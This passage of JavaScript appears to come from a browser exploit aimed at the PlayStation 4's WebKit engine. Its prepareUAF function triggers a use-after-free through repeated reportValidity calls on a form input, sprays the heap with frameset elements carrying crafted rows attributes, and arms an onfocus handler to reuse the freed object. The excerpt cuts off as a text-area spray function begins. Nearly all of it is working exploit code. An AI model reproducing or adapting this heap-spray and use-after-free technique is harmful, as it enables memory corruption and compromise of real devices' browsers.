| 382 | } |
| 383 | |
| 384 | function prepareUAF() { |
| 385 | g_input.setCustomValidity("ps4"); |
| 386 | |
| 387 | for (let i = 0; i < NB_FRAMES; i++) { |
| 388 | var element = document.createElement("frameset"); |
| 389 | g_frames.push(element); |
| 390 | } |
| 391 | |
| 392 | g_input.reportValidity(); |
| 393 | var div = document.createElement("div"); |
| 394 | document.body.appendChild(div); |
| 395 | div.appendChild(g_input); |
| 396 | |
| 397 | /* First half spray */ |
| 398 | for (let i = 0; i < NB_FRAMES / 2; i++) |
| 399 | g_frames[i].setAttribute("rows", g_rows1); |
| 400 | |
| 401 | /* Instantiate target obj */ |
| 402 | g_input.reportValidity(); |
| 403 | |
| 404 | /* ... and the second half */ |
| 405 | for (let i = NB_FRAMES / 2; i < NB_FRAMES; i++) |
| 406 | g_frames[i].setAttribute("rows", g_rows2); |
| 407 | |
| 408 | g_input.setAttribute("onfocus", "reuseTargetObj()"); |
| 409 | g_input.autofocus = true; |
| 410 | } |
| 411 | |
| 412 | /* HTMLElement spray */ |
| 413 | function sprayHTMLTextArea() { |